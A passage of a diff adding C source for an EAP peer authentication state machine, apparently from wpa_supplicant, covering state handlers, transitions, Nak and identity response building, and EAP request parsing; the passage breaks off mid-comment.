+SM_STATE(EAP, IDLE) +{ + SM_ENTRY(EAP, IDLE); +} + + +/* + * This state is entered when an EAP packet is received (eapReq == TRUE) to + * parse the packet header. + */ +SM_STATE(EAP, RECEIVED) +{ + const struct wpabuf *eapReqData; + + SM_ENTRY(EAP, RECEIVED); + eapReqData = eapol_get_eapReqData(sm); + /* parse rxReq, rxSuccess, rxFailure, reqId, reqMethod */ + eap_sm_parseEapReq(sm, eapReqData); + sm->num_rounds++; +} + + +/* + * This state is entered when a request for a new type comes in. Either the + * correct method is started, or a Nak response is built. + */ +SM_STATE(EAP, GET_METHOD) +{ + int reinit; + EapType method; + const struct eap_method *eap_method; + + SM_ENTRY(EAP, GET_METHOD); + + if (sm->reqMethod == EAP_TYPE_EXPANDED) + method = sm->reqVendorMethod; + else + method = sm->reqMethod; + + eap_method = eap_peer_get_eap_method(sm->reqVendor, method); + + if (!eap_sm_allowMethod(sm, sm->reqVendor, method)) { + wpa_printf(MSG_DEBUG, "EAP: vendor %u method %u not allowed", + sm->reqVendor, method); + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_PROPOSED_METHOD + "vendor=%u method=%u -> NAK", + sm->reqVendor, method); + eap_notify_status(sm, "refuse proposed method", + eap_method ? eap_method->name : "unknown"); + goto nak; + } + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_PROPOSED_METHOD + "vendor=%u method=%u", sm->reqVendor, method); + + eap_notify_status(sm, "accept proposed method", + eap_method ? eap_method->name : "unknown"); + /* + * RFC 4137 does not define specific operation for fast + * re-authentication (session resumption). The design here is to allow + * the previously used method data to be maintained for + * re-authentication if the method support session resumption. + * Otherwise, the previously used method data is freed and a new method + * is allocated here. + */ + if (sm->fast_reauth && + sm->m && sm->m->vendor == sm->reqVendor && + sm->m->method == method && + sm->m->has_reauth_data && + sm->m->has_reauth_data(sm, sm->eap_method_priv)) { + wpa_printf(MSG_DEBUG, "EAP: Using previous method data" + " for fast re-authentication"); + reinit = 1; + } else { + eap_deinit_prev_method(sm, "GET_METHOD"); + reinit = 0; + } + + sm->selectedMethod = sm->reqMethod; + if (sm->m == NULL) + sm->m = eap_method; + if (!sm->m) { + wpa_printf(MSG_DEBUG, "EAP: Could not find selected method: " + "vendor %d method %d", + sm->reqVendor, method); + goto nak; + } + + sm->ClientTimeout = EAP_CLIENT_TIMEOUT_DEFAULT; + + wpa_printf(MSG_DEBUG, "EAP: Initialize selected EAP method: " + "vendor %u method %u (%s)", + sm->reqVendor, method, sm->m->name); + if (reinit) + sm->eap_method_priv = sm->m->init_for_reauth( + sm, sm->eap_method_priv); + else + sm->eap_method_priv = sm->m->init(sm); + + if (sm->eap_method_priv == NULL) { + struct eap_peer_config *config = eap_get_config(sm); + wpa_msg(sm->msg_ctx, MSG_INFO, + "EAP: Failed to initialize EAP method: vendor %u " + "method %u (%s)", + sm->reqVendor, method, sm->m->name); + sm->m = NULL; + sm->methodState = METHOD_NONE; + sm->selectedMethod = EAP_TYPE_NONE; + if (sm->reqMethod == EAP_TYPE_TLS && config && + (config->pending_req_pin || + config->pending_req_passphrase)) { + /* + * Return without generating Nak in order to allow + * entering of PIN code or passphrase to retry the + * current EAP packet. + */ + wpa_printf(MSG_DEBUG, "EAP: Pending PIN/passphrase " + "request - skip Nak"); + return; + } + + goto nak; + } + + sm->methodState = METHOD_INIT; + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_METHOD + "EAP vendor %u method %u (%s) selected", + sm->reqVendor, method, sm->m->name); + return; + +nak: + wpabuf_free(sm->eapRespData); + sm->eapRespData = NULL; + sm->eapRespData = eap_sm_buildNak(sm, sm->reqId); +} + + +/* + * The method processing happens here. The request from the authenticator is + * processed, and an appropriate response packet is built. + */ +SM_STATE(EAP, METHOD) +{ + struct wpabuf *eapReqData; + struct eap_method_ret ret; + int min_len = 1; + + SM_ENTRY(EAP, METHOD); + if (sm->m == NULL) { + wpa_printf(MSG_WARNING, "EAP::METHOD - method not selected"); + return; + } + + eapReqData = eapol_get_eapReqData(sm); + if (sm->m->vendor == EAP_VENDOR_IETF && sm->m->method == EAP_TYPE_LEAP) + min_len = 0; /* LEAP uses EAP-Success without payload */ + if (!eap_hdr_len_valid(eapReqData, min_len)) + return; + + /* + * Get ignore, methodState, decision, allowNotifications, and + * eapRespData. RFC 4137 uses three separate method procedure (check, + * process, and buildResp) in this state. These have been combined into + * a single function call to m->process() in order to optimize EAP + * method implementation interface a bit. These procedures are only + * used from within this METHOD state, so there is no need to keep + * these as separate C functions. + * + * The RFC 4137 procedures return values as follows: + * ignore = m.check(eapReqData) + * (methodState, decision, allowNotifications) = m.process(eapReqData) + * eapRespData = m.buildResp(reqId) + */ + os_memset(&ret, 0, sizeof(ret)); + ret.ignore = sm->ignore; + ret.methodState = sm->methodState; + ret.decision = sm->decision; + ret.allowNotifications = sm->allowNotifications; + wpabuf_free(sm->eapRespData); + sm->eapRespData = NULL; + sm->eapRespData = sm->m->process(sm, sm->eap_method_priv, &ret, + eapReqData); + wpa_printf(MSG_DEBUG, "EAP: method process -> ignore=%s " + "methodState=%s decision=%s", + ret.ignore ? "TRUE" : "FALSE", + eap_sm_method_state_txt(ret.methodState), + eap_sm_decision_txt(ret.decision)); + + sm->ignore = ret.ignore; + if (sm->ignore) + return; + sm->methodState = ret.methodState; + sm->decision = ret.decision; + sm->allowNotifications = ret.allowNotifications; + + if (sm->m->isKeyAvailable && sm->m->getKey && + sm->m->isKeyAvailable(sm, sm->eap_method_priv)) { + os_free(sm->eapKeyData); + sm->eapKeyData = sm->m->getKey(sm, sm->eap_method_priv, + &sm->eapKeyDataLen); + os_free(sm->eapSessionId); + sm->eapSessionId = NULL; + if (sm->m->getSessionId) { + sm->eapSessionId = sm->m->getSessionId( + sm, sm->eap_method_priv, + &sm->eapSessionIdLen); + wpa_hexdump(MSG_DEBUG, "EAP: Session-Id", + sm->eapSessionId, sm->eapSessionIdLen); + } + } +} + + +/* + * This state signals the lower layer that a response packet is ready to be + * sent. + */ +SM_STATE(EAP, SEND_RESPONSE) +{ + SM_ENTRY(EAP, SEND_RESPONSE); + wpabuf_free(sm->lastRespData); + if (sm->eapRespData) { + if (sm->workaround) + os_memcpy(sm->last_md5, sm->req_md5, 16); + sm->lastId = sm->reqId; + sm->lastRespData = wpabuf_dup(sm->eapRespData); + eapol_set_bool(sm, EAPOL_eapResp, TRUE); + } else + sm->lastRespData = NULL; + eapol_set_bool(sm, EAPOL_eapReq, FALSE); + eapol_set_int(sm, EAPOL_idleWhile, sm->ClientTimeout); +} + + +/* + * This state signals the lower layer that the request was discarded, and no + * response packet will be sent at this time. + */ +SM_STATE(EAP, DISCARD) +{ + SM_ENTRY(EAP, DISCARD); + eapol_set_bool(sm, EAPOL_eapReq, FALSE); + eapol_set_bool(sm, EAPOL_eapNoResp, TRUE); +} + + +/* + * Handles requests for Identity method and builds a response. + */ +SM_STATE(EAP, IDENTITY) +{ + const struct wpabuf *eapReqData; + + SM_ENTRY(EAP, IDENTITY); + eapReqData = eapol_get_eapReqData(sm); + if (!eap_hdr_len_valid(eapReqData, 1)) + return; + eap_sm_processIdentity(sm, eapReqData); + wpabuf_free(sm->eapRespData); + sm->eapRespData = NULL; + sm->eapRespData = eap_sm_buildIdentity(sm, sm->reqId, 0); +} + + +/* + * Handles requests for Notification method and builds a response. + */ +SM_STATE(EAP, NOTIFICATION) +{ + const struct wpabuf *eapReqData; + + SM_ENTRY(EAP, NOTIFICATION); + eapReqData = eapol_get_eapReqData(sm); + if (!eap_hdr_len_valid(eapReqData, 1)) + return; + eap_sm_processNotify(sm, eapReqData); + wpabuf_free(sm->eapRespData); + sm->eapRespData = NULL; + sm->eapRespData = eap_sm_buildNotify(sm->reqId); +} + + +/* + * This state retransmits the previous response packet. + */ +SM_STATE(EAP, RETRANSMIT) +{ + SM_ENTRY(EAP, RETRANSMIT); + wpabuf_free(sm->eapRespData); + if (sm->lastRespData) + sm->eapRespData = wpabuf_dup(sm->lastRespData); + else + sm->eapRespData = NULL; +} + + +/* + * This state is entered in case of a successful completion of authentication + * and state machine waits here until port is disabled or EAP authentication is + * restarted. + */ +SM_STATE(EAP, SUCCESS) +{ + SM_ENTRY(EAP, SUCCESS); + if (sm->eapKeyData != NULL) + sm->eapKeyAvailable = TRUE; + eapol_set_bool(sm, EAPOL_eapSuccess, TRUE); + + /* + * RFC 4137 does not clear eapReq here, but this seems to be required + * to avoid processing the same request twice when state machine is + * initialized. + */ + eapol_set_bool(sm, EAPOL_eapReq, FALSE); + + /* + * RFC 4137 does not set eapNoResp here, but this seems to be required + * to get EAPOL Supplicant backend state machine into SUCCESS state. In + * addition, either eapResp or eapNoResp is required to be set after + * processing the received EAP frame. + */ + eapol_set_bool(sm, EAPOL_eapNoResp, TRUE); + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_SUCCESS + "EAP authentication completed successfully"); +} + + +/* + * This state is entered in case of a failure and state machine waits here + * until port is disabled or EAP authentication is restarted. + */ +SM_STATE(EAP, FAILURE) +{ + SM_ENTRY(EAP, FAILURE); + eapol_set_bool(sm, EAPOL_eapFail, TRUE); + + /* + * RFC 4137 does not clear eapReq here, but this seems to be required + * to avoid processing the same request twice when state machine is + * initialized. + */ + eapol_set_bool(sm, EAPOL_eapReq, FALSE); + + /* + * RFC 4137 does not set eapNoResp here. However, either eapResp or + * eapNoResp is required to be set after processing the received EAP + * frame. + */ + eapol_set_bool(sm, EAPOL_eapNoResp, TRUE); + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_FAILURE + "EAP authentication failed"); + + sm->prev_failure = 1; +} + + +static int eap_success_workaround(struct eap_sm *sm, int reqId, int lastId) +{ + /* + * At least Microsoft IAS and Meetinghouse Aegis seem to be sending + * EAP-Success/Failure with lastId + 1 even though RFC 3748 and + * RFC 4137 require that reqId == lastId. In addition, it looks like + * Ringmaster v2.1.2.0 would be using lastId + 2 in EAP-Success. + * + * Accept this kind of Id if EAP workarounds are enabled. These are + * unauthenticated plaintext messages, so this should have minimal + * security implications (bit easier to fake EAP-Success/Failure). + */ + if (sm->workaround && (reqId == ((lastId + 1) & 0xff) || + reqId == ((lastId + 2) & 0xff))) { + wpa_printf(MSG_DEBUG, "EAP: Workaround for unexpected " + "identifier field in EAP Success: " + "reqId=%d lastId=%d (these are supposed to be " + "same)", reqId, lastId); + return 1; + } + wpa_printf(MSG_DEBUG, "EAP: EAP-Success Id mismatch - reqId=%d " + "lastId=%d", reqId, lastId); + return 0; +} + + +/* + * RFC 4137 - Appendix A.1: EAP Peer State Machine - State transitions + */ + +static void eap_peer_sm_step_idle(struct eap_sm *sm) +{ + /* + * The first three transitions are from RFC 4137. The last two are + * local additions to handle special cases with LEAP and PEAP server + * not sending EAP-Success in some cases. + */ + if (eapol_get_bool(sm, EAPOL_eapReq)) + SM_ENTER(EAP, RECEIVED); + else if ((eapol_get_bool(sm, EAPOL_altAccept) && + sm->decision != DECISION_FAIL) || + (eapol_get_int(sm, EAPOL_idleWhile) == 0 && + sm->decision == DECISION_UNCOND_SUCC)) + SM_ENTER(EAP, SUCCESS); + else if (eapol_get_bool(sm, EAPOL_altReject) || + (eapol_get_int(sm, EAPOL_idleWhile) == 0 && + sm->decision != DECISION_UNCOND_SUCC) || + (eapol_get_bool(sm, EAPOL_altAccept) && + sm->methodState != METHOD_CONT && + sm->decision == DECISION_FAIL)) + SM_ENTER(EAP, FAILURE); + else if (sm->selectedMethod == EAP_TYPE_LEAP && + sm->leap_done && sm->decision != DECISION_FAIL && + sm->methodState == METHOD_DONE) + SM_ENTER(EAP, SUCCESS); + else if (sm->selectedMethod == EAP_TYPE_PEAP && + sm->peap_done && sm->decision != DECISION_FAIL && + sm->methodState == METHOD_DONE) + SM_ENTER(EAP, SUCCESS); +} + + +static int eap_peer_req_is_duplicate(struct eap_sm *sm) +{ + int duplicate; + + duplicate = (sm->reqId == sm->lastId) && sm->rxReq; + if (sm->workaround && duplicate && + os_memcmp(sm->req_md5, sm->last_md5, 16) != 0) { + /* + * RFC 4137 uses (reqId == lastId) as the only verification for + * duplicate EAP requests. However, this misses cases where the + * AS is incorrectly using the same id again; and + * unfortunately, such implementations exist. Use MD5 hash as + * an extra verification for the packets being duplicate to + * workaround these issues. + */ + wpa_printf(MSG_DEBUG, "EAP: AS used the same Id again, but " + "EAP packets were not identical"); + wpa_printf(MSG_DEBUG, "EAP: workaround - assume this is not a " + "duplicate packet"); + duplicate = 0; + } + + return duplicate; +} + + +static void eap_peer_sm_step_received(struct eap_sm *sm) +{ + int duplicate = eap_peer_req_is_duplicate(sm); + + /* + * Two special cases below for LEAP are local additions to work around + * odd LEAP behavior (EAP-Success in the middle of authentication and + * then swapped roles). Other transitions are based on RFC 4137. + */ + if (sm->rxSuccess && sm->decision != DECISION_FAIL && + (sm->reqId == sm->lastId || + eap_success_workaround(sm, sm->reqId, sm->lastId))) + SM_ENTER(EAP, SUCCESS); + else if (sm->methodState != METHOD_CONT && + ((sm->rxFailure && + sm->decision != DECISION_UNCOND_SUCC) || + (sm->rxSuccess && sm->decision == DECISION_FAIL && + (sm->selectedMethod != EAP_TYPE_LEAP || + sm->methodState != METHOD_MAY_CONT))) && + (sm->reqId == sm->lastId || + eap_success_workaround(sm, sm->reqId, sm->lastId))) + SM_ENTER(EAP, FAILURE); + else if (sm->rxReq && duplicate) + SM_ENTER(EAP, RETRANSMIT); + else if (sm->rxReq && !duplicate && + sm->reqMethod == EAP_TYPE_NOTIFICATION && + sm->allowNotifications) + SM_ENTER(EAP, NOTIFICATION); + else if (sm->rxReq && !duplicate && + sm->selectedMethod == EAP_TYPE_NONE && + sm->reqMethod == EAP_TYPE_IDENTITY) + SM_ENTER(EAP, IDENTITY); + else if (sm->rxReq && !duplicate && + sm->selectedMethod == EAP_TYPE_NONE && + sm->reqMethod != EAP_TYPE_IDENTITY && + sm->reqMethod != EAP_TYPE_NOTIFICATION) + SM_ENTER(EAP, GET_METHOD); + else if (sm->rxReq && !duplicate && + sm->reqMethod == sm->selectedMethod && + sm->methodState != METHOD_DONE) + SM_ENTER(EAP, METHOD); + else if (sm->selectedMethod == EAP_TYPE_LEAP && + (sm->rxSuccess || sm->rxResp)) + SM_ENTER(EAP, METHOD); + else + SM_ENTER(EAP, DISCARD); +} + + +static void eap_peer_sm_step_local(struct eap_sm *sm) +{ + switch (sm->EAP_state) { + case EAP_INITIALIZE: + SM_ENTER(EAP, IDLE); + break; + case EAP_DISABLED: + if (eapol_get_bool(sm, EAPOL_portEnabled) && + !sm->force_disabled) + SM_ENTER(EAP, INITIALIZE); + break; + case EAP_IDLE: + eap_peer_sm_step_idle(sm); + break; + case EAP_RECEIVED: + eap_peer_sm_step_received(sm); + break; + case EAP_GET_METHOD: + if (sm->selectedMethod == sm->reqMethod) + SM_ENTER(EAP, METHOD); + else + SM_ENTER(EAP, SEND_RESPONSE); + break; + case EAP_METHOD: + if (sm->ignore) + SM_ENTER(EAP, DISCARD); + else + SM_ENTER(EAP, SEND_RESPONSE); + break; + case EAP_SEND_RESPONSE: + SM_ENTER(EAP, IDLE); + break; + case EAP_DISCARD: + SM_ENTER(EAP, IDLE); + break; + case EAP_IDENTITY: + SM_ENTER(EAP, SEND_RESPONSE); + break; + case EAP_NOTIFICATION: + SM_ENTER(EAP, SEND_RESPONSE); + break; + case EAP_RETRANSMIT: + SM_ENTER(EAP, SEND_RESPONSE); + break; + case EAP_SUCCESS: + break; + case EAP_FAILURE: + break; + } +} + + +SM_STEP(EAP) +{ + /* Global transitions */ + if (eapol_get_bool(sm, EAPOL_eapRestart) && + eapol_get_bool(sm, EAPOL_portEnabled)) + SM_ENTER_GLOBAL(EAP, INITIALIZE); + else if (!eapol_get_bool(sm, EAPOL_portEnabled) || sm->force_disabled) + SM_ENTER_GLOBAL(EAP, DISABLED); + else if (sm->num_rounds > EAP_MAX_AUTH_ROUNDS) { + /* RFC 4137 does not place any limit on number of EAP messages + * in an authentication session. However, some error cases have + * ended up in a state were EAP messages were sent between the + * peer and server in a loop (e.g., TLS ACK frame in both + * direction). Since this is quite undesired outcome, limit the + * total number of EAP round-trips and abort authentication if + * this limit is exceeded. + */ + if (sm->num_rounds == EAP_MAX_AUTH_ROUNDS + 1) { + wpa_msg(sm->msg_ctx, MSG_INFO, "EAP: more than %d " + "authentication rounds - abort", + EAP_MAX_AUTH_ROUNDS); + sm->num_rounds++; + SM_ENTER_GLOBAL(EAP, FAILURE); + } + } else { + /* Local transitions */ + eap_peer_sm_step_local(sm); + } +} + + +static Boolean eap_sm_allowMethod(struct eap_sm *sm, int vendor, + EapType method) +{ + if (!eap_allowed_method(sm, vendor, method)) { + wpa_printf(MSG_DEBUG, "EAP: configuration does not allow: " + "vendor %u method %u", vendor, method); + return FALSE; + } + if (eap_peer_get_eap_method(vendor, method)) + return TRUE; + wpa_printf(MSG_DEBUG, "EAP: not included in build: " + "vendor %u method %u", vendor, method); + return FALSE; +} + + +static struct wpabuf * eap_sm_build_expanded_nak( + struct eap_sm *sm, int id, const struct eap_method *methods, + size_t count) +{ + struct wpabuf *resp; + int found = 0; + const struct eap_method *m; + + wpa_printf(MSG_DEBUG, "EAP: Building expanded EAP-Nak"); + + /* RFC 3748 - 5.3.2: Expanded Nak */ + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_EXPANDED, + 8 + 8 * (count + 1), EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + wpabuf_put_be24(resp, EAP_VENDOR_IETF); + wpabuf_put_be32(resp, EAP_TYPE_NAK); + + for (m = methods; m; m = m->next) { + if (sm->reqVendor == m->vendor && + sm->reqVendorMethod == m->method) + continue; /* do not allow the current method again */ + if (eap_allowed_method(sm, m->vendor, m->method)) { + wpa_printf(MSG_DEBUG, "EAP: allowed type: " + "vendor=%u method=%u", + m->vendor, m->method); + wpabuf_put_u8(resp, EAP_TYPE_EXPANDED); + wpabuf_put_be24(resp, m->vendor); + wpabuf_put_be32(resp, m->method); + + found++; + } + } + if (!found) { + wpa_printf(MSG_DEBUG, "EAP: no more allowed methods"); + wpabuf_put_u8(resp, EAP_TYPE_EXPANDED); + wpabuf_put_be24(resp, EAP_VENDOR_IETF); + wpabuf_put_be32(resp, EAP_TYPE_NONE); + } + + eap_update_len(resp); + + return resp; +} + + +static struct wpabuf * eap_sm_buildNak(struct eap_sm *sm, int id) +{ + struct wpabuf *resp; + u8 *start; + int found = 0, expanded_found = 0; + size_t count; + const struct eap_method *methods, *m; + + wpa_printf(MSG_DEBUG, "EAP: Building EAP-Nak (requested type %u " + "vendor=%u method=%u not allowed)", sm->reqMethod, + sm->reqVendor, sm->reqVendorMethod); + methods = eap_peer_get_methods(&count); + if (methods == NULL) + return NULL; + if (sm->reqMethod == EAP_TYPE_EXPANDED) + return eap_sm_build_expanded_nak(sm, id, methods, count); + + /* RFC 3748 - 5.3.1: Legacy Nak */ + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_NAK, + sizeof(struct eap_hdr) + 1 + count + 1, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + start = wpabuf_put(resp, 0); + for (m = methods; m; m = m->next) { + if (m->vendor == EAP_VENDOR_IETF && m->method == sm->reqMethod) + continue; /* do not allow the current method again */ + if (eap_allowed_method(sm, m->vendor, m->method)) { + if (m->vendor != EAP_VENDOR_IETF) { + if (expanded_found) + continue; + expanded_found = 1; + wpabuf_put_u8(resp, EAP_TYPE_EXPANDED); + } else + wpabuf_put_u8(resp, m->method); + found++; + } + } + if (!found) + wpabuf_put_u8(resp, EAP_TYPE_NONE); + wpa_hexdump(MSG_DEBUG, "EAP: allowed methods", start, found); + + eap_update_len(resp); + + return resp; +} + + +static void eap_sm_processIdentity(struct eap_sm *sm, const struct wpabuf *req) +{ + const u8 *pos; + size_t msg_len; + + wpa_msg(sm->msg_ctx, MSG_INFO, WPA_EVENT_EAP_STARTED + "EAP authentication started"); + eap_notify_status(sm, "started", ""); + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_IDENTITY, req, + &msg_len); + if (pos == NULL) + return; + + /* + * RFC 3748 - 5.1: Identity + * Data field may contain a displayable message in UTF-8. If this + * includes NUL-character, only the data before that should be + * displayed. Some EAP implementasitons may piggy-back additional + * options after the NUL. + */ + /* TODO: could save displayable message so that it can be shown to the + * user in case of interaction is required */ + wpa_hexdump_ascii(MSG_DEBUG, "EAP: EAP-Request Identity data", + pos, msg_len); +} + + +#ifdef PCSC_FUNCS + +/* + * Rules for figuring out MNC length based on IMSI for SIM cards that do not + * include MNC length field. + */ +static int mnc_len_from_imsi(const char *imsi) +{ + char mcc_str[4]; + unsigned int mcc; + + os_memcpy(mcc_str, imsi, 3); + mcc_str[3] = '\0'; + mcc = atoi(mcc_str); + + if (mcc == 228) + return 2; /* Networks in Switzerland use 2-digit MNC */ + if (mcc == 244) + return 2; /* Networks in Finland use 2-digit MNC */ + + return -1; +} + + +static int eap_sm_append_3gpp_realm(struct eap_sm *sm, char *imsi, + size_t max_len, size_t *imsi_len) +{ + int mnc_len; + char *pos, mnc[4]; + + if (*imsi_len + 36 > max_len) { + wpa_printf(MSG_WARNING, "No room for realm in IMSI buffer"); + return -1; + } + + /* MNC (2 or 3 digits) */ + mnc_len = scard_get_mnc_len(sm->scard_ctx); + if (mnc_len < 0) + mnc_len = mnc_len_from_imsi(imsi); + if (mnc_len < 0) { + wpa_printf(MSG_INFO, "Failed to get MNC length from (U)SIM " + "assuming 3"); + mnc_len = 3; + } + + if (mnc_len == 2) { + mnc[0] = '0'; + mnc[1] = imsi[3]; + mnc[2] = imsi[4]; + } else if (mnc_len == 3) { + mnc[0] = imsi[3]; + mnc[1] = imsi[4]; + mnc[2] = imsi[5]; + } + mnc[3] = '\0'; + + pos = imsi + *imsi_len; + pos += os_snprintf(pos, imsi + max_len - pos, + "@wlan.mnc%s.mcc%c%c%c.3gppnetwork.org", + mnc, imsi[0], imsi[1], imsi[2]); + *imsi_len = pos - imsi; + + return 0; +} + + +static int eap_sm_imsi_identity(struct eap_sm *sm, + struct eap_peer_config *conf) +{ + enum { EAP_SM_SIM, EAP_SM_AKA, EAP_SM_AKA_PRIME } method = EAP_SM_SIM; + char imsi[100]; + size_t imsi_len; + struct eap_method_type *m = conf->eap_methods; + int i; + + imsi_len = sizeof(imsi); + if (scard_get_imsi(sm->scard_ctx, imsi, &imsi_len)) { + wpa_printf(MSG_WARNING, "Failed to get IMSI from SIM"); + return -1; + } + + wpa_hexdump_ascii(MSG_DEBUG, "IMSI", (u8 *) imsi, imsi_len); + + if (imsi_len < 7) { + wpa_printf(MSG_WARNING, "Too short IMSI for SIM identity"); + return -1; + } + + if (eap_sm_append_3gpp_realm(sm, imsi, sizeof(imsi), &imsi_len) < 0) { + wpa_printf(MSG_WARNING, "Could not add realm to SIM identity"); + return -1; + } + wpa_hexdump_ascii(MSG_DEBUG, "IMSI + realm", (u8 *) imsi, imsi_len); + + for (i = 0; m && (m[i].vendor != EAP_VENDOR_IETF || + m[i].method != EAP_TYPE_NONE); i++) { + if (m[i].vendor == EAP_VENDOR_IETF && + m[i].method == EAP_TYPE_AKA_PRIME) { + method = EAP_SM_AKA_PRIME; + break; + } + + if (m[i].vendor == EAP_VENDOR_IETF && + m[i].method == EAP_TYPE_AKA) { + method = EAP_SM_AKA; + break; + } + } + + os_free(conf->identity); + conf->identity = os_malloc(1 + imsi_len); + if (conf->identity == NULL) { + wpa_printf(MSG_WARNING, "Failed to allocate buffer for " + "IMSI-based identity"); + return -1; + } + + switch (method) { + case EAP_SM_SIM: + conf->identity[0] = '1'; + break; + case EAP_SM_AKA: + conf->identity[0] = '0'; + break; + case EAP_SM_AKA_PRIME: + conf->identity[0] = '6'; + break; + } + os_memcpy(conf->identity + 1, imsi, imsi_len); + conf->identity_len = 1 + imsi_len; + + return 0; +} + +#endif /* PCSC_FUNCS */ + + +static int eap_sm_set_scard_pin(struct eap_sm *sm, + struct eap_peer_config *conf) +{ +#ifdef PCSC_FUNCS + if (scard_set_pin(sm->scard_ctx, conf->pin)) { + /* + * Make sure the same PIN is not tried again in order to avoid + * blocking SIM. + */ + os_free(conf->pin); + conf->pin = NULL; + + wpa_printf(MSG_WARNING, "PIN validation failed"); + eap_sm_request_pin(sm); + return -1; + } + return 0; +#else /* PCSC_FUNCS */ + return -1; +#endif /* PCSC_FUNCS */ +} + +static int eap_sm_get_scard_identity(struct eap_sm *sm, + struct eap_peer_config *conf) +{ +#ifdef PCSC_FUNCS + if (eap_sm_set_scard_pin(sm, conf)) + return -1; + + return eap_sm_imsi_identity(sm, conf); +#else /* PCSC_FUNCS */ + return -1; +#endif /* PCSC_FUNCS */ +} + + +/** + * eap_sm_buildIdentity - Build EAP-Identity/Response for the current network + * @sm: Pointer to EAP state machine allocated with eap_peer_sm_init() + * @id: EAP identifier for the packet + * @encrypted: Whether the packet is for encrypted tunnel (EAP phase 2) + * Returns: Pointer to the allocated EAP-Identity/Response packet or %NULL on + * failure + * + * This function allocates and builds an EAP-Identity/Response packet for the + * current network. The caller is responsible for freeing the returned data. + */ +struct wpabuf * eap_sm_buildIdentity(struct eap_sm *sm, int id, int encrypted) +{ + struct eap_peer_config *config = eap_get_config(sm); + struct wpabuf *resp; + const u8 *identity; + size_t identity_len; + + if (config == NULL) { + wpa_printf(MSG_WARNING, "EAP: buildIdentity: configuration " + "was not available"); + return NULL; + } + + if (sm->m && sm->m->get_identity && + (identity = sm->m->get_identity(sm, sm->eap_method_priv, + &identity_len)) != NULL) { + wpa_hexdump_ascii(MSG_DEBUG, "EAP: using method re-auth " + "identity", identity, identity_len); + } else if (!encrypted && config->anonymous_identity) { + identity = config->anonymous_identity; + identity_len = config->anonymous_identity_len; + wpa_hexdump_ascii(MSG_DEBUG, "EAP: using anonymous identity", + identity, identity_len); + } else { + identity = config->identity; + identity_len = config->identity_len; + wpa_hexdump_ascii(MSG_DEBUG, "EAP: using real identity", + identity, identity_len); + } + + if (identity == NULL) { + wpa_printf(MSG_WARNING, "EAP: buildIdentity: identity " + "configuration was not available"); + if (config->pcsc) { + if (eap_sm_get_scard_identity(sm, config) < 0) + return NULL; + identity = config->identity; + identity_len = config->identity_len; + wpa_hexdump_ascii(MSG_DEBUG, "permanent identity from " + "IMSI", identity, identity_len); + } else { + eap_sm_request_identity(sm); + return NULL; + } + } else if (config->pcsc) { + if (eap_sm_set_scard_pin(sm, config) < 0) + return NULL; + } + + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_IDENTITY, identity_len, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + wpabuf_put_data(resp, identity, identity_len); + + return resp; +} + + +static void eap_sm_processNotify(struct eap_sm *sm, const struct wpabuf *req) +{ + const u8 *pos; + char *msg; + size_t i, msg_len; + + pos = eap_hdr_validate(EAP_VENDOR_IETF, EAP_TYPE_NOTIFICATION, req, + &msg_len); + if (pos == NULL) + return; + wpa_hexdump_ascii(MSG_DEBUG, "EAP: EAP-Request Notification data", + pos, msg_len); + + msg = os_malloc(msg_len + 1); + if (msg == NULL) + return; + for (i = 0; i < msg_len; i++) + msg[i] = isprint(pos[i]) ? (char) pos[i] : '_'; + msg[msg_len] = '\0'; + wpa_msg(sm->msg_ctx, MSG_INFO, "%s%s", + WPA_EVENT_EAP_NOTIFICATION, msg); + os_free(msg); +} + + +static struct wpabuf * eap_sm_buildNotify(int id) +{ + struct wpabuf *resp; + + wpa_printf(MSG_DEBUG, "EAP: Generating EAP-Response Notification"); + resp = eap_msg_alloc(EAP_VENDOR_IETF, EAP_TYPE_NOTIFICATION, 0, + EAP_CODE_RESPONSE, id); + if (resp == NULL) + return NULL; + + return resp; +} + + +static void eap_sm_parseEapReq(struct eap_sm *sm, const struct wpabuf *req) +{ + const struct eap_hdr *hdr; + size_t plen; + const u8 *pos; + + sm->rxReq = sm->rxResp = sm->rxSuccess = sm->rxFailure = FALSE; + sm->reqId = 0; + sm->reqMethod = EAP_TYPE_NONE; + sm->reqVendor = EAP_VENDOR_IETF; + sm->reqVendorMethod = EAP_TYPE_NONE; + + if (req == NULL || wpabuf_len(req) < sizeof(*hdr)) + return; + + hdr = wpabuf_head(req); + plen = be_to_host16(hdr->length); + if (plen > wpabuf_len(req)) { + wpa_printf(MSG_DEBUG, "EAP: Ignored truncated EAP-Packet " + "(len=%lu plen=%lu)", + (unsigned long) wpabuf_len(req), + (unsigned long) plen); + return; + } + + sm->reqId = hdr->identifier; + + if (sm->workaround) { + const u8 *addr[1]; + addr[0] = wpabuf_head(req); + md5_vector(1, addr, &plen, sm->req_md5); + } + + switch (hdr->code) { + case EAP_CODE_REQUEST: + if (plen < sizeof(*hdr) + 1) { + wpa_printf(MSG_DEBUG, "EAP: Too short EAP-Request - " + "no Type field"); + return; + } + sm->rxReq = TRUE; + pos = (const u8 *) (hdr + 1); + sm->reqMethod = *pos++; + if (sm->reqMethod == EAP_TYPE_EXPANDED) { + if (plen < sizeof(*hdr) + 8) { + wpa_printf(MSG_DEBUG, "EAP: Ignored truncated " + "expanded EAP-Packet (plen=%lu)", + (unsigned long) plen); + return; + } + sm->reqVendor = WPA_GET_BE24(pos); + pos += 3; + sm->reqVendorMethod = WPA_GET_BE32(pos); + } + wpa_printf(MSG_DEBUG, "EAP: Received EAP-Request id=%d " + "method=%u vendor=%u vendorMethod=%u", + sm->reqId, sm->reqMethod, sm->reqVendor, + sm->reqVendorMethod); + break; + case EAP_CODE_RESPONSE: + if (sm->selectedMethod == EAP_TYPE_LEAP) { + /* + * LEAP differs from RFC 4137 by using reversed roles + * for mutual authentication and because of this, we + * need to accept EAP-Response 